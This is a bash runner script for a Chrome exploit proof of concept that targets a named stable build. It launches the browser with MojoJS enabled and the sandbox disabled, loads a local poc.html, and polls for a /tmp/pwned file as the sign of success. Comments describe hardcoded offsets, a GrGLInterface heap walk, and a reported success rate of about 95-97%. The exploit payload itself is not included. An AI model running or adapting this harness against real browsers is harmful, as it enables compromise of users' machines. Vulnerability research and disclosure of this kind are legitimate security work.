#!/bin/bash
# run_mojojs.sh (stable port) — targets google-chrome-stable 146.0.7680.164.
set -euo pipefail

HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"

# Point CHROME at the target binary explicitly. The exploit's offsets are
# hardcoded for stable 146.0.7680.164 (x64 Linux); any other build will fail,
# so this deliberately does NOT auto-pick whatever chrome is on PATH.
[[ -n "${CHROME:-}" && -x "$CHROME" ]] || {
  echo "Set CHROME=/path/to/chrome  (must be google-chrome-stable 146.0.7680.164)." >&2
  exit 1
}

USERDIR="$(mktemp -d /tmp/mojojs.XXXXXX)"
CHROME_PID=""
cleanup() { [[ -n "$CHROME_PID" ]] && kill "$CHROME_PID" 2>/dev/null; rm -rf "$USERDIR"; }
trap cleanup EXIT

# Fast path: GLI_OFF=0xHEX skips the ~50s GrGLInterface heap walk and uses a
# fixed pool offset (a prior run's "glif" minus the pool base). It is build- AND
# run-layout-specific — the offset drifts between runs, so a wrong value just
# misses (no /tmp/pwned); retry, or unset GLI_OFF to use the always-correct walk.
QS="${1:-}"
[[ -n "${GLI_OFF:-}" ]] && QS="?gli_off=${GLI_OFF}"
URL="file://$HERE/poc.html${QS}"
LOG="${LOG:-/tmp/mojojs_stable.log}"
TIMEOUT="${TIMEOUT:-100}"           # hard cap; full walk ~80s, gli_off path ~20s
echo "[run] $CHROME"
echo "[run] $URL  (cap ${TIMEOUT}s${GLI_OFF:+, gli_off=$GLI_OFF})"
echo

rm -rf /tmp/pwned
"$CHROME" \
    --enable-blink-features=MojoJS \
    --enable-features=RemoveGPULegacyIPC \
    --disable-popup-blocking \
    --disable-background-timer-throttling \
    --disable-background-networking \
    --disable-component-update \
    --disable-sync \
    --check-for-update-interval=31536000 \
    --enable-logging=stderr \
    --no-sandbox \
    --user-data-dir="$USERDIR" \
    --no-first-run --no-default-browser-check \
    "$URL" >"$LOG" 2>&1 &
CHROME_PID=$!

# Poll once a second: succeed the instant the payload lands; fail fast once the
# chain reports a terminal error or the GPU channel drops without /tmp/pwned.
ok=0; t=0
FAIL_RE='\[POC-mojojs\] ERROR|GpuChannel disconnected|GPU process exited unexpectedly'
while (( t < TIMEOUT )); do
  [[ -e /tmp/pwned ]] && { ok=1; break; }
  if grep -qE "$FAIL_RE" "$LOG" 2>/dev/null; then
    sleep 1; [[ -e /tmp/pwned ]] && ok=1   # let a winning run flush its file
    break
  fi
  kill -0 "$CHROME_PID" 2>/dev/null || { [[ -e /tmp/pwned ]] && ok=1; break; }
  sleep 1; t=$((t+1))
done
kill "$CHROME_PID" 2>/dev/null || true; CHROME_PID=""

if (( ok )); then
  echo "[run] SUCCESS in ~${t}s"
  ls -la /tmp/pwned
  exit 0
fi
echo "[run] FAILED in ~${t}s (no /tmp/pwned). Per-attempt rate ~95-97%; just re-run."
echo "[run] log: $LOG"
grep -E 'POC-mojojs|GroupMarkerNotSet|GL_INVALID|GPU process|ERROR:' "$LOG" \
  | grep -v 'POC-instr' | tail -15
exit 1
